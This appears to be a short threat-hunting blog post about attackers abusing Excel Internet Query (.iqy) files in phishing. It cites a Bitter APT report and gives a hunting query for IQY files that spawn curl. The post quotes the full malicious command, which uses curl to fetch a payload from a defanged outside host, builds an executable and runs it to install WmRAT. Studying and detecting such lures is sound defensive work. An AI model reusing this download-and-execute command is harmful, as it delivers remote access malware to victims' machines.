150. Adversaries Abuse Internet Query Files

Hello everyone!

Let's look at another file type you don't often see attached to phishing emails. I'm talking about IQY file extension. It's an Internet Query file, which is a text file that Microsoft Excel uses to download data from the internet.

I spotted it in this report on Bitter APT by EclecticIQ. Upon opening the file, Security Brief Report.iqy, the following command is executed:

cmd|' /c cd C:\\programdata & set /P=\"MZ\"<nul>b1 & curl -o b2 https://fogomyart[.]com/vcswin & copy /b b1+b2 vcswin.exe & start /b vcswin.exe'!A0

The command abuses cURL to download WmRAT from a remote server, and executes it. For example, we can hunt for IQY files spawning commands, which include cURL:

event_type: "processcreatewin"

AND

proc_p_cmdline: "iqy"

AND

cmdline: "curl"

See you tomorrow!

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